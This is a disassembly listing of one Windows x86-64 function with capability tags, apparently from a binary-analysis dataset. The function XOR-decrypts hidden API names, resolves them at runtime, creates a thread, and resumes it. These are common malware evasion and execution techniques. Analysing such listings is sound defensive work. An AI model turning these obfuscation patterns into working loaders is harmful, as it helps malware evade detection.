Function at 0x14004e690
Capabilities:
Encode data using xor
Resume thread

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
cmp byte [0x1401025d9], 0
mov r14, rcx
movsd xmm0, qword [str.ZAR_T]
movzx eax, word [0x1401025d8]
movsd qword [rbp - 0x19], xmm0
mov word [rbp - 0x11], ax
je 0x14004e6ed
xor byte [rbp - 0x18], 0x35
xor byte [rbp - 0x17], 0x36
xor byte [rbp - 0x16], 0x37
xor byte [rbp - 0x15], 0x38
xor byte [rbp - 0x14], 0x39
xor byte [rbp - 0x13], 0x3a
xor byte [rbp - 0x12], 0x3b
xor byte [rbp - 0x11], 0x3c
xor byte [rbp - 0x10], 0x3d
mov byte [rbp - 0x19], WSAGetLastError
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14004ec8c
movzx ecx, byte [0x140102760]
movups xmm3, xmmword [str.zAuE_XNhULZ___a_D]
mov qword [rsp + 0xe0], rsi
mov qword [rsp + 0xf0], rdi
mov edi, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0xf8], r15
xor r15d, r15d
movaps xmmword [rsp + 0xa0], xmm7
movdqa xmm7, xmmword [0x140104790]
mov byte [rbp + 1], cl
mov ecx, r15d
movaps xmmword [rsp + 0xb0], xmm6
movups xmmword [rbp - 0xf], xmm3
cmp edi, 2
jl 0x14004e901
movdqa xmm4, xmmword [0x140104d70]
movdqa xmm2, xmmword [0x140104700]
movdqa xmm5, xmmword [0x140104780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
movdqa xmm6, xmmword [0x1401047e0]
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd eax, xmm3
movdqa xmm3, xmmword [0x140104730]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
xorps xmm2, xmm0
movd dword [rbp - 0xf], xmm2
movdqa xmm2, xmmword [0x140104720]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmulld xmm0, xmm5
psubd xmm2, xmm0
pmuldq xmm1, xmm4
movd xmm0, dword [rbp - 0xb]
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbp - 0xb], xmm2
movdqa xmm2, xmmword [0x140104740]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
pmulld xmm0, xmm5
psubd xmm3, xmm0
punpckldq xmm1, xmm2
movd xmm0, dword [rbp - 7]
andps xmm3, xmm7
packuswb xmm3, xmm3
pmuldq xmm1, xmm4
packuswb xmm3, xmm3
paddb xmm3, xmm6
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rbp - 7], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
mov ecx, reloc.WS2_32.dll_recv
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, dword [rbp - 3]
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm6
xorps xmm2, xmm0
movd dword [rbp - 3], xmm2
mov eax, ecx
lea r8, [rbp - 0xf]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x14004e910
lea rdx, [rbp - 0xf]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14004ec64
movzx ecx, word [0x1401022fc]
mov r8d, r15d
movzx eax, byte [0x1401022fe]
mov edx, dword [0x1401022f8]
mov dword [rbp + 0x12], edx
mov word [rbp + 0x16], cx
mov byte [rbp + 0x18], al
movups xmm6, xmmword [0x1401022e8]
movups xmmword [rbp + 2], xmm6
cmp edi, 2
jl 0x14004eba4
movdqa xmm4, xmmword [0x140104d70]
movdqa xmm3, xmmword [0x140104700]
movdqa xmm2, xmmword [0x140104720]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
movdqa xmm5, xmmword [0x140104780]
mov ecx, dword [0x1401047e0]
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd eax, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmulld xmm0, xmm5
psubd xmm3, xmm0
pmuldq xmm1, xmm4
andps xmm3, xmm7
movd xmm0, ecx
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, eax
xorps xmm3, xmm0
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movd dword [rbp + 2], xmm3
movdqa xmm3, xmmword [0x140104730]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 6]
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 6], xmm2
movdqa xmm2, xmmword [0x140104740]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xa]
pmulld xmm0, xmm5
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movdqa xmm0, xmm2
xorps xmm3, xmm1
punpckhdq xmm0, xmm2
movdqa xmm1, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movd dword [rbp + 0xa], xmm3
shufps xmm1, xmm0, 0xdd
movdqa xmm3, xmmword [0x140104750]
paddd xmm1, xmm2
psrad xmm1, 5
mov r8d, reloc.WS2_32.dll_sendto
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0xe]
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm4
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0xe], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm5
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp + 0x12], xmm3
mov eax, r8d
lea r9, [rbp + 2]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14004ebb0
lea rdx, [rbp + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14004ec64
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], r15
lea rcx, [rbp + 0x6f]
mov qword [rsp + 0x48], r15
mov r9, rax
mov qword [rsp + 0x40], r15
xor r8d, r8d
mov qword [rsp + 0x38], r15
mov edx, 0x2000000
mov dword [rsp + 0x30], 0x40
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
call rsi
test eax, eax
jne 0x14004ec64
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14004ec64
xor r9d, r9d
xor r8d, r8d
mov edx, reloc.WS2_32.dll_recvfrom
call rbx
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm6, xmmword [rsp + 0xb0]
mov r15, qword [rsp + 0xf8]
mov rdi, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xe0]
movaps xmm7, xmmword [rsp + 0xa0]
add rsp, 0xc0
pop r14
pop rbx
pop rbp
ret